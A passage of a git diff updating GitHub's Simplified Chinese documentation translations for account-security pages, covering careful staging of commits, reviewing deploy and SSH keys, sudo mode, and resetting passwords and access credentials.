catch-all commands `git add .` and `git commit -a` on the command line—use `git add filename` and `git rm filename` to individually stage files, instead. -- Use `git add --interactive` to individually review and stage changes within each file. -- Use `git diff --cached` to review the changes that you have staged for commit. This is the exact diff that `git commit` will produce as long as you don't use the `-a` flag. +- 使用 [{% data variables.product.prodname_desktop %}](https://desktop.github.com/) 或 [gitk](https://git-scm.com/docs/gitk) 等可视化程序提交更改。 可视程序通常可以更容易地查看每次提交时将添加、删除和修改具体哪些文件。 +- 避免在命令行中使用笼统的命令 `git add .` 和 `git commit -a`,而是使用 `git add filename` 和 `git rm filename` 来单独暂存文件。 +- 使用 `git add --interactive` 单独查看和暂存每个文件中的更改。 +- 使用 `git diff --cached` 查看为提交暂存的更改。 如果不使用 `-a` 标志,这就是 `git commit` 将产生的确切差异。 -## Further reading +## 延伸阅读 -- [`git filter-repo` man page](https://htmlpreview.github.io/?https://github.com/newren/git-filter-repo/blob/docs/html/git-filter-repo.html) -- [Pro Git: Git Tools - Rewriting History](https://git-scm.com/book/en/Git-Tools-Rewriting-History) -- "[About Secret scanning](/code-security/secret-security/about-secret-scanning)" +- [`git filter-repo` 手册页](https://htmlpreview.github.io/?https://github.com/newren/git-filter-repo/blob/docs/html/git-filter-repo.html) +- [Pro Git:Git 工具 - 重写历史记录](https://git-scm.com/book/en/Git-Tools-Rewriting-History) +- [关于机密扫描](/code-security/secret-security/about-secret-scanning) diff --git a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md index 8e1b0473ec..d826c48661 100644 --- a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md +++ b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md @@ -1,6 +1,6 @@ --- -title: Reviewing your deploy keys -intro: You should review deploy keys to ensure that there aren't any unauthorized (or possibly compromised) keys. You can also approve existing deploy keys that are valid. +title: 审查您的部署密钥 +intro: 您应审查部署密钥,以确保没有任何未经授权(或可能已受损)的密钥。 您还可以批准有效的现有部署密钥。 redirect_from: - /articles/reviewing-your-deploy-keys - /github/authenticating-to-github/reviewing-your-deploy-keys @@ -14,19 +14,22 @@ topics: - Identity - Access management shortTitle: Deploy keys +ms.openlocfilehash: 964ec4cbc91745c041dd973e4e950b605c5c0233 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145084641' --- -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -3. In the "Security" section of the sidebar, click **{% octicon "key" aria-label="The key icon" %} Deploy keys**. +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} +3. 在边栏的“安全性”部分中,单击“{% octicon "key" aria-label="The key icon" %} 部署密钥”。 {% else %} -3. In the left sidebar, click **Deploy keys**. -![Deploy keys setting](/assets/images/help/settings/settings-sidebar-deploy-keys.png) -{% endif %} -4. On the Deploy keys page, take note of the deploy keys associated with your account. For those that you don't recognize, or that are out-of-date, click **Delete**. If there are valid deploy keys you'd like to keep, click **Approve**. - ![Deploy key list](/assets/images/help/settings/settings-deploy-key-review.png) +3. 在左边栏中,单击“部署密钥”。 +![部署密钥设置](/assets/images/help/settings/settings-sidebar-deploy-keys.png) {% endif %} +4. 在 Deploy keys(部署密钥)页面中,记下与您的帐户关联的部署密钥。 对于无法识别或已过期的密钥,请单击“删除”。 如果有要保留的有效部署密钥,请单击“批准”。 + ![部署密钥列表](/assets/images/help/settings/settings-deploy-key-review.png) -For more information, see "[Managing deploy keys](/guides/managing-deploy-keys)." +有关详细信息,请参阅“[管理部署密钥](/guides/managing-deploy-keys)”。 -## Further reading -- [Configuring notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#organization-alerts-notification-options) +## 延伸阅读 +- [配置通知](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#organization-alerts-notification-options) diff --git a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md index 65491b5760..842da80c02 100644 --- a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md +++ b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md @@ -1,6 +1,6 @@ --- -title: Reviewing your SSH keys -intro: 'To keep your credentials secure, you should regularly audit your SSH keys, deploy keys, and review authorized applications that access your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}.' +title: 审查 SSH 密钥 +intro: '为了保证您的凭据安全,您应该定期检查您的 SSH 密钥、部署密钥 并审核已授权的应用程序,以访问您在 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上的帐户。' redirect_from: - /articles/keeping-your-application-access-tokens-safe - /articles/keeping-your-ssh-keys-and-application-access-tokens-safe @@ -15,94 +15,97 @@ versions: topics: - Identity - Access management +ms.openlocfilehash: 4f15ea8fd56994de4d9b30c21e6afb081e20a327 +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147875994' --- -You can delete unauthorized (or possibly compromised) SSH keys to ensure that an attacker no longer has access to your repositories. You can also approve existing SSH keys that are valid. +您可以删除未经授权(或可能已泄密)的 SSH 密钥,以确保攻击者无法再访问您的仓库。 您还可以批准有效的现有 SSH 密钥。 {% mac %} -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.ssh %} -3. On the SSH Settings page, take note of the SSH keys associated with your account. For those that you don't recognize, or that are out-of-date, click **Delete**. If there are valid SSH keys you'd like to keep, click **Approve**. - ![SSH key list](/assets/images/help/settings/settings-ssh-key-review.png) +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.ssh %} +3. 在 SSH Settings(SSH 设置)页面中,记下与您的帐户关联的 SSH 密钥。 对于无法识别或已过期的密钥,单击“删除”。 如果有要保留的有效 SSH 密钥,单击“审批”。 + ![SSH 密钥列表](/assets/images/help/settings/settings-ssh-key-review.png) {% tip %} - **Note:** If you're auditing your SSH keys due to an unsuccessful Git operation, the unverified key that caused the [SSH key audit error](/articles/error-we-re-doing-an-ssh-key-audit) will be highlighted in the list of SSH keys. + 注意:如果由于 Git 操作失败而审核 SSH 密钥,则导致 [SSH 密钥审核错误](/articles/error-we-re-doing-an-ssh-key-audit)的未经验证的密钥将在 SSH 密钥列表中突出显示。 {% endtip %} -4. Open Terminal. +4. 打开终端。 {% data reusables.command_line.start_ssh_agent %} -6. Find and take a note of your public key fingerprint. +6. 找到并记录公钥指纹。 ```shell $ ssh-add -l -E sha256 - > 2048 SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ /Users/USERNAME/.ssh/id_rsa (RSA) + > 2048 SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ /Users/USERNAME/.ssh/id_rsa (RSA) ``` -7. The SSH keys on {% data variables.product.product_name %} *should* match the same keys on your computer. +7. {% data variables.product.product_name %} 上的 SSH 密钥应匹配计算机上的相同密钥。 {% endmac %} {% windows %} -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.ssh %} -3. On the SSH Settings page, take note of the SSH keys associated with your account. For those that you don't recognize, or that are out-of-date, click **Delete**. If there are valid SSH keys you'd like to keep, click **Approve**. - ![SSH key list](/assets/images/help/settings/settings-ssh-key-review.png) +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.ssh %} +3. 在 SSH Settings(SSH 设置)页面中,记下与您的帐户关联的 SSH 密钥。 对于无法识别或已过期的密钥,单击“删除”。 如果有要保留的有效 SSH 密钥,单击“审批”。 + ![SSH 密钥列表](/assets/images/help/settings/settings-ssh-key-review.png) {% tip %} - **Note:** If you're auditing your SSH keys due to an unsuccessful Git operation, the unverified key that caused the [SSH key audit error](/articles/error-we-re-doing-an-ssh-key-audit) will be highlighted in the list of SSH keys. + 注意:如果由于 Git 操作失败而审核 SSH 密钥,则导致 [SSH 密钥审核错误](/articles/error-we-re-doing-an-ssh-key-audit)的未经验证的密钥将在 SSH 密钥列表中突出显示。 {% endtip %} -4. Open Git Bash. +4. 打开 Git Bash。 5. {% data reusables.desktop.windows_git_bash_turn_on_ssh_agent %} {% data reusables.desktop.windows_git_for_windows_turn_on_ssh_agent %} -6. Find and take a note of your public key fingerprint. +6. 找到并记录公钥指纹。 ```shell $ ssh-add -l -E sha256 - > 2048 SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ /Users/USERNAME/.ssh/id_rsa (RSA) + > 2048 SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ /Users/USERNAME/.ssh/id_rsa (RSA) ``` -7. The SSH keys on {% data variables.product.product_name %} *should* match the same keys on your computer. +7. {% data variables.product.product_name %} 上的 SSH 密钥应匹配计算机上的相同密钥。 {% endwindows %} {% linux %} -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.ssh %} -3. On the SSH Settings page, take note of the SSH keys associated with your account. For those that you don't recognize, or that are out-of-date, click **Delete**. If there are valid SSH keys you'd like to keep, click **Approve**. - ![SSH key list](/assets/images/help/settings/settings-ssh-key-review.png) +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.ssh %} +3. 在 SSH Settings(SSH 设置)页面中,记下与您的帐户关联的 SSH 密钥。 对于无法识别或已过期的密钥,单击“删除”。 如果有要保留的有效 SSH 密钥,单击“审批”。 + ![SSH 密钥列表](/assets/images/help/settings/settings-ssh-key-review.png) {% tip %} - **Note:** If you're auditing your SSH keys due to an unsuccessful Git operation, the unverified key that caused the [SSH key audit error](/articles/error-we-re-doing-an-ssh-key-audit) will be highlighted in the list of SSH keys. + 注意:如果由于 Git 操作失败而审核 SSH 密钥,则导致 [SSH 密钥审核错误](/articles/error-we-re-doing-an-ssh-key-audit)的未经验证的密钥将在 SSH 密钥列表中突出显示。 {% endtip %} -4. Open Terminal. +4. 打开终端。 {% data reusables.command_line.start_ssh_agent %} -6. Find and take a note of your public key fingerprint. +6. 找到并记录公钥指纹。 ```shell $ ssh-add -l -E sha256 - > 2048 SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ /Users/USERNAME/.ssh/id_rsa (RSA) + > 2048 SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ /Users/USERNAME/.ssh/id_rsa (RSA) ``` -7. The SSH keys on {% data variables.product.product_name %} *should* match the same keys on your computer. +7. {% data variables.product.product_name %} 上的 SSH 密钥应匹配计算机上的相同密钥。 {% endlinux %} {% warning %} -**Warning**: If you see an SSH key you're not familiar with on {% data variables.product.product_name %}, delete it immediately and contact {% data variables.contact.contact_support %} for further help. An unidentified public key may indicate a possible security concern. +警告:如果在 {% data variables.product.product_name %} 上看到不熟悉的 SSH 密钥,请立即删除并联系 {% data variables.contact.contact_support %} 寻求进一步的帮助。 无法识别的公钥可能表示安全问题。 {% endwarning %} diff --git a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/sudo-mode.md b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/sudo-mode.md index 25cebe2a85..85ab06e26d 100644 --- a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/sudo-mode.md +++ b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/sudo-mode.md @@ -1,6 +1,6 @@ --- -title: Sudo mode -intro: 'To confirm access to your account before you perform a potentially sensitive action, {% data variables.location.product_location %} prompts for authentication.' +title: Sudo 模式 +intro: '为了在你执行可能敏感的操作之前确认你帐户的访问权限,{% data variables.product.product_location %} 会提示进行身份验证。' redirect_from: - /articles/sudo-mode - /github/authenticating-to-github/sudo-mode @@ -13,81 +13,83 @@ miniTocMaxHeadingLevel: 3 topics: - Identity - Access management +ms.openlocfilehash: 909552ff2252e14430050541da5f6bae582f66b3 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147540824' --- +## 关于 sudo 模式 -## About sudo mode +为了在你对 {% data variables.product.product_location %} 执行可能敏感的操作时维护帐户的安全,即使你已登录,也必须进行身份验证。 例如,{% data variables.product.company_short %} 认为以下操作是敏感操作,因为每个操作都可能允许新用户或系统访问你的帐户。 -To maintain the security of your account when you perform a potentially sensitive action on {% data variables.location.product_location %}, you must authenticate even though you're already signed in. For example, {% data variables.product.company_short %} considers the following actions sensitive because each action could allow a new person or system to access your account. +- 修改关联的电子邮件地址 +- 授权第三方应用程序 +- 添加新的 SSH 密钥 -- Modification of an associated email address -- Authorization of a third-party application -- Addition of a new SSH key - -After you authenticate to perform a sensitive action, your session is temporarily in "sudo mode." In sudo mode, you can perform sensitive actions without authentication. {% data variables.product.product_name %} will wait a few hours before prompting you for authentication again. During this time, any sensitive action that you perform will reset the timer. +当你经过身份验证来执行敏感操作后,会话暂时处于“sudo 模式”。 在 sudo 模式下,无需身份验证即可执行敏感操作。 {% data variables.product.product_name %} 将等待几小时,然后再次提示你进行身份验证。 在此期间,你执行的任何敏感操作都将重置计时器。 {% ifversion ghes %} {% note %} -**Note**: If {% data variables.location.product_location %} uses an external authentication method like CAS or SAML SSO, you will not receive prompts to enter sudo mode. For more information, contact your site administrator. +注意:如果 {% data variables.product.product_location %} 使用 CAS 或 SAML SSO 等外部身份验证方法,你不会收到进入 sudo 模式的提示。 更多信息请联系站点管理员。 {% endnote %} {% endif %} -"sudo" is a reference to a program on Unix systems, where the name is short for "**su**peruser **do**." For more information, see [sudo](https://wikipedia.org/wiki/Sudo) on Wikipedia. +“sudo”是指 Unix 系统上的一个程序,该名称是“superuser do”的缩写 。 有关详细信息,请参阅维基百科上的 [sudo](https://wikipedia.org/wiki/Sudo)。 -## Confirming access for sudo mode +## 确认对 sudo 模式的访问权限 -To confirm access for sudo mode, you {% ifversion totp-and-mobile-sudo-challenge %}can{% else %}must{% endif %} authenticate with your password.{% ifversion totp-and-mobile-sudo-challenge %} Optionally, you can use a different authentication method, like {% ifversion fpt or ghec %}a security key, {% data variables.product.prodname_mobile %}, or a 2FA code{% elsif ghes %}a security key or a 2FA code{% endif %}.{% endif %} +要确认对 sudo 模式的访问权限,{% ifversion totp-and-mobile-sudo-challenge %}可以{% else %}必须{% endif %}使用密码进行身份验证。{% ifversion totp-and-mobile-sudo-challenge %}或者可选择使用其他身份验证方法,例如{% ifversion fpt or ghec %}安全密钥、{% data variables.product.prodname_mobile %} 或 2FA 代码{% elsif ghes %}安全密钥或 2FA 代码{% endif %}。{% endif %} {%- ifversion totp-and-mobile-sudo-challenge %} -- [Confirming access using a security key](#confirming-access-using-a-security-key) -{%- ifversion fpt or ghec %} -- [Confirming access using GitHub Mobile](#confirming-access-using-github-mobile) -{%- endif %} -- [Confirming access using a 2FA code](#confirming-access-using-a-2fa-code) -- [Confirming access using your password](#confirming-access-using-your-password) -{%- endif %} +- [使用安全密钥确认访问权限](#confirming-access-using-a-security-key) {%- ifversion fpt or ghec %} +- [使用 GitHub Mobile 确认访问权限](#confirming-access-using-github-mobile) {%- endif %} +- [使用 2FA 代码确认访问权限](#confirming-access-using-a-2fa-code) +- [使用密码确认访问权限](#confirming-access-using-your-password) {%- endif %} {% ifversion totp-and-mobile-sudo-challenge %} -### Confirming access using a security key +### 使用安全密钥确认访问权限 -You must configure two-factor authentication (2FA) for your account using a security key to confirm access to your account for sudo mode using the security key. For more information, see "[Configuring two-factor authentication](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)." +必须使用安全密钥为帐户配置双因素身份验证 (2FA),才能使用安全密钥确认帐户是否拥有对 sudo 模式的访问权限。 有关详细信息,请参阅“[配置双因素身份验证](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)”。 -When prompted to authenticate for sudo mode, click **Use security key**, then follow the prompts. +当系统提示对 sudo 模式进行身份验证时,请单击“使用安全密钥”,然后按照提示进行操作。 -![Screenshot of security key option for sudo mode](/assets/images/help/settings/sudo_mode_prompt_security_key.png) +![sudo 模式的安全密钥选项的屏幕截图](/assets/images/help/settings/sudo_mode_prompt_security_key.png) {% ifversion fpt or ghec %} -### Confirming access using {% data variables.product.prodname_mobile %} +### 使用 {% data variables.product.prodname_mobile %} 确认访问权限 -You must install and sign into {% data variables.product.prodname_mobile %} to confirm access to your account for sudo mode using the app. For more information, see "[{% data variables.product.prodname_mobile %}](/get-started/using-github/github-mobile)." +必须安装并登录 {% data variables.product.prodname_mobile %},才能使用该应用确认帐户是否拥有对 sudo 模式的访问权限。 有关详细信息,请参阅“[{% data variables.product.prodname_mobile %}](/get-started/using-github/github-mobile)”。 -1. When prompted to authenticate for sudo mode, click **Use GitHub Mobile**. +1. 当系统提示对 sudo 模式进行身份验证时,请单击“使用 GitHub Mobile”。 - ![Screenshot of {% data variables.product.prodname_mobile %} option for sudo mode](/assets/images/help/settings/sudo_mode_prompt_github_mobile_prompt.png) -1. Open {% data variables.product.prodname_mobile %}. {% data variables.product.prodname_mobile %} will display numbers that you must enter on {% data variables.location.product_location %} to approve the request. + ![sudo 模式的 {% data variables.product.prodname_mobile %} 选项的屏幕截图](/assets/images/help/settings/sudo_mode_prompt_github_mobile_prompt.png) +1. 打开 {% data variables.product.prodname_mobile %}。 {% data variables.product.prodname_mobile %} 将显示必须在 {% data variables.product.product_location %} 上输入才能批准请求的数字。 - ![Screenshot of numbers from {% data variables.product.prodname_mobile %} to enter on {% data variables.product.product_name %} to approve sudo mode access](/assets/images/help/settings/sudo_mode_prompt_github_mobile.png) -1. On {% data variables.product.product_name %}, type the numbers displayed in {% data variables.product.prodname_mobile %}. + ![{% data variables.product.prodname_mobile %} 中数字的屏幕截图,该数字用于在 {% data variables.product.product_name %} 上输入来审核 sudo 模式访问权限](/assets/images/help/settings/sudo_mode_prompt_github_mobile.png) +1. 在 {% data variables.product.product_name %} 上,键入 {% data variables.product.prodname_mobile %} 中显示的数字。 {% endif %} -### Confirming access using a 2FA code +### 使用 2FA 代码确认访问权限 -You must configure 2FA using a TOTP mobile app{% ifversion fpt or ghec %} or text messages{% endif %} to confirm access to your account for sudo mode using a 2FA code. For more information, see "[Configuring two-factor authentication](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication)." +必须使用 TOTP 移动应用{% ifversion fpt or ghec %}或短信{% endif %}配置 2FA,才能使用 2FA 代码确认帐户是否拥有对 sudo 模式的访问权限。 有关详细信息,请参阅“[配置双因素身份验证](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication)”。 -When prompted to authenticate for sudo mode, type the authentication code from your TOTP mobile app{% ifversion fpt or ghec %} or the text message{% endif %}, then click **Verify**. +当系统提示对 sudo 模式进行身份验证时,请键入 TOTP 移动应用{% ifversion fpt or ghec %}或短信{% endif %}中的验证码,然后单击“验证”。 -![Screenshot of 2FA code prompt for sudo mode](/assets/images/help/settings/sudo_mode_prompt_2fa_code.png) +![sudo 模式的 2FA 代码提示的屏幕截图](/assets/images/help/settings/sudo_mode_prompt_2fa_code.png) -### Confirming access using your password +### 使用密码确认访问权限 {% endif %} -When prompted to authenticate for sudo mode, type your password, then click **Confirm**. +当系统提示对 sudo 模式进行身份验证时,请键入密码,然后单击“确认”。 -![Screenshot of password prompt for sudo mode](/assets/images/help/settings/sudo_mode_prompt_password.png) +![sudo 模式的密码提示的屏幕截图](/assets/images/help/settings/sudo_mode_prompt_password.png) diff --git a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md index 12e35114b2..4ec20da07e 100644 --- a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md +++ b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md @@ -1,6 +1,6 @@ --- -title: Updating your GitHub access credentials -intro: '{% data variables.product.product_name %} credentials include{% ifversion not ghae %} not only your password, but also{% endif %} the access tokens, SSH keys, and application API tokens you use to communicate with {% data variables.product.product_name %}. Should you have the need, you can reset all of these access credentials yourself.' +title: 更新 GitHub 访问凭据 +intro: '{% data variables.product.product_name %} 凭据{% ifversion not ghae %}不仅包括密码,还包括{% endif %}你用于与 {% data variables.product.product_name %} 通信的访问令牌、SSH 密钥和应用程序 API 令牌。 如果您有需要,可以自行重置所有这些访问凭据。' redirect_from: - /articles/rolling-your-credentials - /articles/how-can-i-reset-my-password @@ -16,73 +16,74 @@ topics: - Identity - Access management shortTitle: Update access credentials +ms.openlocfilehash: 650c0027b679690def6d1c77d727a87b8688b889 +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/12/2022 +ms.locfileid: '147508414' --- {% ifversion not ghae %} -## Requesting a new password +## 请求新密码 -1. To request a new password, visit {% ifversion fpt or ghec %}https://{% data variables.product.product_url %}/password_reset{% else %}`https://{% data variables.product.product_url %}/password_reset`{% endif %}. -2. Enter the email address associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}, then click **Send password reset email.** The email will be sent to the backup email address if you have one configured. - ![Password reset email request dialog](/assets/images/help/settings/password-recovery-email-request.png) -3. We'll email you a link that will allow you to reset your password. You must click on this link within 3 hours of receiving the email. If you didn't receive an email from us, make sure to check your spam folder. -4. If you have enabled two-factor authentication, you will be prompted for your 2FA credentials: -{% ifversion fpt or ghec %} - * If you have {% data variables.product.prodname_mobile %}, you will be sent a push notification to verify your identity. Open the push notification or the {% data variables.product.prodname_mobile %} app and enter the two-digit code shown to you on the password reset page in your browser. - ![Two-factor {% data variables.product.prodname_mobile %} authentication prompt](/assets/images/help/2fa/2fa-mobile-challenge-password-reset.png) - * To skip using GitHub Mobile to verify, click **Enter two-factor authentication or recovery code**. - ![Two-factor GitHub Mobile authentication prompt on {% data variables.product.product_name %} with "Enter two-factor authentication or recovery code" highlighted](/assets/images/help/2fa/2fa-github-mobile-password-reset.png) -{% endif %} - * Type your authentication code or one of your recovery codes and click **Verify**. - ![Two-factor authentication prompt](/assets/images/help/2fa/2fa-password-reset.png) - * If you have added a security key to your account, click **Use security key** instead of typing an authentication code. +1. 要请求新密码,请访问 {% ifversion fpt or ghec %} https://{% data variables.product.product_url %}/password_reset{% else %}`https://{% data variables.product.product_url %}/password_reset`{% endif %}。 +2. 在 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上输入与你的个人帐户关联的电子邮件地址,然后单击“发送密码重置电子邮件”。 如果已配置,该电子邮件将发送到备用电子邮件地址。 + ![密码重置电子邮件请求对话框](/assets/images/help/settings/password-recovery-email-request.png) +3. 我们将向您发送一封电子邮件,其中含有可让您重置密码的链接。 您必须在收到电子邮件后的 3 小时内单击此链接。 如果您没有收到来自我们的电子邮件,请确保检查垃圾邮件文件夹。 +4. 如果你启用了双因素身份验证,系统将提示你输入 2FA 凭据:{% ifversion fpt or ghec %} + * 如果有 {% data variables.product.prodname_mobile %},则会向你发送推送通知来验证身份。 打开推送通知或 {% data variables.product.prodname_mobile %} 应用,并在浏览器中的密码重置页上输入显示的两位数代码。 + ![双因素 {% data variables.product.prodname_mobile %} 身份验证提示](/assets/images/help/2fa/2fa-mobile-challenge-password-reset.png) + * 若要跳过使用 GitHub Mobile 进行验证,请单击“输入双因素身份验证或恢复代码”。 + ![{% data variables.product.product_name %} 上的双因素 GitHub Mobile 身份验证提示,其中突出显示“输入双因素身份验证或恢复代码”](/assets/images/help/2fa/2fa-github-mobile-password-reset.png){% endif %} + * 键入身份验证代码或恢复代码之一,然后单击“验证”。 + ![双重身份验证提示](/assets/images/help/2fa/2fa-password-reset.png) + * 如果已向帐户添加了安全密钥,请单击“使用安全密钥”,而无需键入身份验证码。 {% ifversion fpt or ghec %} - * If you have set up [{% data variables.product.prodname_mobile %}](https://github.com/mobile), click **Authenticate with GitHub Mobile** instead. + * 如果已设置 [{% data variables.product.prodname_mobile %}](https://github.com/mobile),请改为单击“使用 GitHub Mobile 进行身份验证”。 {% endif %} -5. Type a new password, confirm your new password, and click **Change password**. For help creating a strong password, see "[Creating a strong password](/articles/creating-a-strong-password)." - {% ifversion fpt or ghec %}![Password recovery box](/assets/images/help/settings/password-recovery-page.png){% else %} - ![Password recovery box](/assets/images/enterprise/settings/password-recovery-page.png){% endif %} +5. 键入新密码,确认新密码,然后单击“更改密码”。 要获取有关创建强密码的帮助,请参阅“[创建强密码](/articles/creating-a-strong-password)”。 + {% ifversion fpt or ghec %}![密码恢复框](/assets/images/help/settings/password-recovery-page.png){% else %} ![密码恢复框](/assets/images/enterprise/settings/password-recovery-page.png){% endif %} {% tip %} -To avoid losing your password in the future, we suggest using a secure password manager, like [LastPass](https://lastpass.com/) or [1Password](https://1password.com/). +为避免将来丢失密码,建议使用安全的密码管理器,例如 [LastPass](https://lastpass.com/) 或 [1Password](https://1password.com/)。 {% endtip %} -## Changing an existing password +## 更改现有的密码 {% data reusables.repositories.blocked-passwords %} -1. {% data variables.product.signin_link %} to {% data variables.product.product_name %}. -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.security %} -4. Under "Change password", type your old password, a strong new password, and confirm your new password. For help creating a strong password, see "[Creating a strong password](/articles/creating-a-strong-password)" -5. Click **Update password**. +1. {% data variables.product.signin_link %}到 {% data variables.product.product_name %}。 +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.security %} +4. 在“Change password(更改密码)”下,输入旧密码、强新密码并确认新密码。 要获取有关创建强密码的帮助,请参阅“[创建强密码](/articles/creating-a-strong-password)” +5. 单击“更新密码”。 {% tip %} -For greater security, enable two-factor authentication in addition to changing your password. See [About two-factor authentication](/articles/about-two-factor-authentication) for more details. +为实现更高的安全性,除了更改密码以外,还可启用双重身份验证。 有关详细信息,请参阅[关于双重身份验证](/articles/about-two-factor-authentication)。 -{% endtip %} -{% endif %} -## Updating your access tokens +{% endtip %} {% endif %} +## 更新访问令牌 -See "[Reviewing your authorized integrations](/articles/reviewing-your-authorized-integrations)" for instructions on reviewing and deleting access tokens. To generate new access tokens, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)." +有关审查和删除访问令牌的说明,请参阅“[审查授权的集成](/articles/reviewing-your-authorized-integrations)”。 要生成新的访问令牌,请参阅“[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”。 {% ifversion not ghae %} -If you have reset your account password and would also like to trigger a sign-out from the {% data variables.product.prodname_mobile %} app, you can revoke your authorization of the "GitHub iOS" or "GitHub Android" OAuth App. This will sign out all instances of the {% data variables.product.prodname_mobile %} app associated with your account. For additional information, see "[Reviewing your authorized integrations](/authentication/keeping-your-account-and-data-secure/reviewing-your-authorized-integrations)." +如果你已重置帐户密码,并且还希望触发从 {% data variables.product.prodname_mobile %} 应用退出登录,则可以撤销对“GitHub iOS”或“GitHub Android”OAuth 应用的授权。 这将使与你帐户关联的 {% data variables.product.prodname_mobile %} 应用的所有实例退出登录。 有关其他信息,请参阅“[审查授权的集成](/authentication/keeping-your-account-and-data-secure/reviewing-your-authorized-integrations)”。 {% endif %} -## Updating your SSH keys +## 更新 SSH 密钥 -See "[Reviewing your SSH keys](/articles/reviewing-your-ssh-keys)" for instructions on reviewing and deleting SSH keys. To generate and add new SSH keys, see "[Generating an SSH key](/articles/generating-an-ssh-key)." +有关审查和删除 SSH 密钥的说明,请参阅“[审查 SSH 密钥](/articles/reviewing-your-ssh-keys)”。 要生成和添加新的 SSH 密钥,请参阅“[生成 SSH 密钥](/articles/generating-an-ssh-key)”。 -## Resetting API tokens +## 重置 API 令牌 -If you have any applications registered with {% data variables.product.product_name %}, you'll want to reset their OAuth tokens. For more information, see the "[Reset an authorization](/rest/reference/apps#reset-an-authorization)" endpoint. +如果您向 {% data variables.product.product_name %} 注册了任何应用程序,则需要重置其 OAuth 令牌。 有关详细信息,请参阅“[重置授权](/rest/reference/apps#reset-an-authorization)”终结点。 {% ifversion not ghae %} -## Preventing unauthorized access +## 防止未授权的访问 -For more tips on securing your account and preventing unauthorized access, see "[Preventing unauthorized access](/articles/preventing-unauthorized-access)." +有关保护帐户和阻止未授权访问的更多提示,请参阅“[阻止未授权的访问](/articles/preventing-unauthorized-access)”。 {% endif %} diff --git a/translations/zh-CN/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md b/translations/zh-CN/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md index 2d6fd102a0..00fb9ac7cb 100644 --- a/translations/zh-CN/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md +++ b/translations/zh-CN/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md @@ -1,6 +1,6 @@ --- -title: About commit signature verification -intro: 'Using GPG{% ifversion ssh-commit-verification %}, SSH,{% endif %} or S/MIME, you can sign tags and commits locally. These tags or commits are marked as verified on {% data variables.product.product_name %} so other people can be 